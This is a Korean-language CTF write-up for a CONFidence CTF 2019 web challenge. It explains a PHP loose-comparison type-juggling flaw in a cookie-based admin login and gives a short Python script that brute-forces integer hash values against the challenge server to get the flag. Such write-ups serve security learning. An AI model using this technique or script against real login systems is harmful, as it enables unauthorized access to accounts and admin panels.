Description
Category: Web
Source: CONFidence CTF 2019 Teaser
Points: 51
Author: Jisoon Park(js00n.park)
Description:
I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
https://gameserver.zajebistyc.tf/admin/
Write-up
주어진 사이트로 들어가 보면 login.php와 login.php.bak를 볼 수 있다. .bak 파일은 login.php의 소스 코드를 보여주기 위해 만들어 둔 것 같다. 코드를 살펴보자.
[...]
if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");
for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}
exit("\n");
}
display_admin();
otadmin이라는 쿠키를 만들어 줘야 하는데, 숫자와 A-Z로 구성된 hash 값을 JSON 형태로 보내야 한다. 우리가 보낸 값이 $cfg_pass 변수의 md5 hash와 동일하면 admin 관련 내용을 보여주도록 되어 있다.
php에서 문자열과 입력값을 비교할 때는 type confusion을 생각해 봐야 한다. 일단, 알파벳으로 시작하는 문자열은 0과 비교했을 때 true이니, hash 값으로 정수 0을 보내보자.
if 문의 조건을 통과하지 못하는 것을 보니 MD5 hash의 결과가 알파벳으로 시작하지는 않는 것 같다. 힌트로 주는 문자열은 0과 64의 조합이다. 이 문자열은 $cfg_pass 변수의 MD5 해쉬 결과(문자열)의 각 자리에 대한 ascii code에 0xC0를 and 연산 한 결과이다. 0xC0는 이진수로 쓰면 11000000b로, and 연산했을 때 64 미만의 수에 대해서는 0이 나온다. MD5 hash 결과는 숫자 또는 A부터 F 까지의 문자로 구성되어 있을 테니, 이 결과가 0이면 해당 자리가 숫자이고 64이면 문자라는 뜻이다.
결국, MD5($cfg_pass)는 숫자|숫자|숫자|문자|문자|문자|숫자|문자|.... 의 형식으로 구성되어 있다는 뜻이다.
이 힌트에서 얻어야 하는 부분은 맨 앞에 연속된 숫자로 구성된 자릿수가 3자리 라는 것이다. php는 문자열과 숫자를 비교할 때, 문자열이 숫자로 시작하면 그 부분만 숫자로 인식하여 비교한다. (예를 들면, "123AAA" == 123 를 true로 판단한다.)
세 자리 숫자에 대한 경우의 수는 1000가지이니, 간단하게 brute-force 해볼 수 있을 것 같다.
아래와 같은 코드를 작성하여 쉽게 찾을 수 있었고, 그 결과 flag를 받았다.
import requests
url = "https://gameserver.zajebistyc.tf/admin/login.php"
for i in range(1000):
cookies = {"otadmin": '{"hash": %03d}'%i}
print cookies
response = requests.get(url, cookies=cookies)
print response.status_code
print response.text
Flag : p4{wtf_php_comparisons_how_do_they_work}
'writeups > Web' 카테고리의 다른 글
sbva (0) | 2019.11.26 |
---|---|
You Already Know (0) | 2019.11.26 |
Cookie Monster (0) | 2019.11.25 |
Stop and Listen (0) | 2019.11.25 |
ReadingRainbow (0) | 2019.11.25 |